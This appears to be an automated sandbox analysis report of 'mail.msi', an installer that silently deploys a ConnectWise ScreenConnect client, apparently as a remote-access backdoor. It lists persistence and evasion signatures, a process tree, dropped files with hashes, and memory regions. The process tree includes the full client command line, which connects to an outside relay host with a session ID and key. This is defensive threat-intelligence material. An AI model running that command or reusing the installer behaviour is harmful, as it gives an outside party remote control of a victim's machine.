Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/02/2026, 16:52

General

  • Target
    mail.msi
  • Size 9.6MB
  • Sample260202-vdgtraey4f
  • SHA256 11f35825fdbf89bee8d779aed746116765fe2b028ed8e3fb2533a5abc2777f29
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\mail.msi
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3076
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C99FD6B59BE9789D88A7B8D1DED148E1 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1272
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6A2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240650046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2052
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3972
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1AC24B0E1780E116886DD6169DDDCAF6
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4004
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5319F3762F98BB33C7EEE889D7207572 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3148
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3948
    • C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-dmslun-relay.screenconnect.com&p=443&s=3b47d2ff-542c-404a-8f94-95ce5aeb865d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFSDakoNopQ%2b7gB4BGI7bRwAE30LJxJw7lpJRz%2bwwYBcl8Bfz%2brhtSiWcV3edelpiE8bGDmzj3i1CLdq2PiYp5CXOOmdht%2b0QUYrSjq%2bRKNVg3NFz3xjra1%2fUuhups%2fD6AtuNFSKN6qOEtYuRh47NNtac6BEUMWtVuB%2fwgg%2fAI86bfvhcHquhbTFkSEpjLICMU%2fwzojV4jo%2fecU%2bliLLkbcQX3BUjBqCFCfshCzBUqMYoQ3XXN%2bkaAt59t%2b43Yexz7yAPhcdQbyByfpKvLmDiuXm%2bge%2fKrOlxPFl8rqqzBZ%2fBT8%2bV%2fbrL0cqmxidxMDZc1fbpk%2bbDoo6Fn0lOri%2fbq"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4256
      • C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsClient.exe" "RunRole" "24c46970-2e3d-48cc-a92e-f1ed84869b9f" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1280
      • C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsClient.exe" "RunRole" "34f1ea3a-7047-4b80-90ea-4e1e5409b1a1" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4084

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e583f57.rbs

          • Path C:\Config.Msi\e583f57.rbs
          • Size 214KB
          • SHA256 7d4244f4fecdabb20d472f9bfbb2906f07568e477bfa527bb626692f3d6a7ce6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\Client.en-US.resources
          • Size 64KB
          • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.Client.dll
          • Size 399KB
          • SHA256 dbaffdb4d49e5dba309f54b1fc110c236042ac82ccde029b2917e189edaf84d3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 c8102fc3bda354653fc1c80b500de20d1a6bb274826334f76817f595434d2f0d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 a33c975b07fc9db4713b6584965dd88b143d61b99c4d699dd326374b82dcd271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.Core.dll
          • Size 553KB
          • SHA256 a98c8a07c4b819afb60d4372b2b8428d08cdd93571acb02750c8a17287ca613b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 416a10eb49239bc3aa1b32acfa31bb206a662ab9969043a7f5fe9d6455ebc07a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsClient.exe
          • Size 604KB
          • SHA256 a5c8ede4d24165797dcfbabbb85f62c44a79b058381e68249bf418a01fc67a1d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 7a94f9bc46ebc6285b6a9d2ee989357705707c7e03831ce22e6fae7d8d7b471c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (47d8594feb6ab268)\system.config
          • Size 986B
          • SHA256 acc4be55272b379a0e4095e8ad926e25ebaa44f447d0d822a1b5a39bba6d8c50
          • MD5 SHA1 SHA512 TLSH

          8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
          • Size 727B
          • SHA256 cdf26860c00dc6d31a8df11b3f00d560afbd23b522fe636ebecba2eff0278a94
          • MD5 SHA1 SHA512 TLSH

          8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
          • Size 408B
          • SHA256 a934f0989dfedc16814cb440f6ed17d2cf3d60d938ef1e73d9c1f28ba8a72a9b
          • MD5 SHA1 SHA512 TLSH

          MSI6A2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6A2.tmp
          • Size 1.1MB
          • SHA256 80c78c9e4eca39bdefdc9d47b9a8b49dfcc3fe1c0f135338584c7e83702d539a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6A2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6A2.tmp-\ScreenConnect.Core.dll
          • Size 543KB
          • SHA256 553ace16fbc4f84d8c66ca9a56797fffd527e61215aae4c09d79a55b7653a774
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6A2.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 7071c7fa49e4b177126d58835d7df40ec0a18424d5c9110242d612fefb1974df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6A2.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 d7610baba5b37a3c52bc19aae6440e7631d1184a3934ebe64f836716b427490d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI41E7.tmp

          • Path C:\Windows\Installer\MSI41E7.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e583f56.msi

          • Path C:\Windows\Installer\e583f56.msi
          • Size 9.6MB
          • SHA256 11f35825fdbf89bee8d779aed746116765fe2b028ed8e3fb2533a5abc2777f29
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 7f76fc70ccfa512a9a9a5585f9115af911e90872cf1708cd78fe21c79602ca9e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f9f3bf61-efc3-4a4b-802f-b4ba17b7421c}_OnDiskSnapshotProp

          • Path \??\Volume{a6d9cdad-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f9f3bf61-efc3-4a4b-802f-b4ba17b7421c}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3df813003fac7915289750506829533a32b55c6575c81abfcc0d79330805f7f3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1280-125-0x000000001C720000-0x000000001C8A8000-memory.dmp

          memory/1280-126-0x0000000000DF0000-0x0000000000E08000-memory.dmp

          memory/1280-123-0x000000001B1C0000-0x000000001B24E000-memory.dmp

          memory/1280-127-0x0000000000E30000-0x0000000000E48000-memory.dmp

          memory/1280-124-0x000000001B760000-0x000000001B90E000-memory.dmp

          memory/1280-122-0x000000001B150000-0x000000001B1B8000-memory.dmp

          memory/1280-121-0x0000000000520000-0x00000000005BA000-memory.dmp

          memory/2052-27-0x00000000056B0000-0x00000000056BA000-memory.dmp

          memory/2052-31-0x0000000005750000-0x00000000057DE000-memory.dmp

          memory/2052-23-0x0000000005670000-0x000000000569E000-memory.dmp

          memory/2052-36-0x0000000006110000-0x00000000066B6000-memory.dmp

          memory/2052-35-0x00000000059B0000-0x0000000005B5E000-memory.dmp

          memory/4084-129-0x0000000002AF0000-0x0000000002B31000-memory.dmp

          memory/4256-90-0x00000000045B0000-0x000000000475E000-memory.dmp

          memory/4256-111-0x0000000004AB0000-0x0000000004B85000-memory.dmp

          memory/4256-105-0x0000000004550000-0x0000000004591000-memory.dmp

          memory/4256-101-0x00000000048C0000-0x0000000004952000-memory.dmp

          memory/4256-96-0x00000000047B0000-0x0000000004818000-memory.dmp

          memory/4256-92-0x0000000004760000-0x00000000047B0000-memory.dmp

          memory/4256-86-0x0000000004370000-0x00000000043FE000-memory.dmp

          memory/4256-80-0x0000000004150000-0x0000000004168000-memory.dmp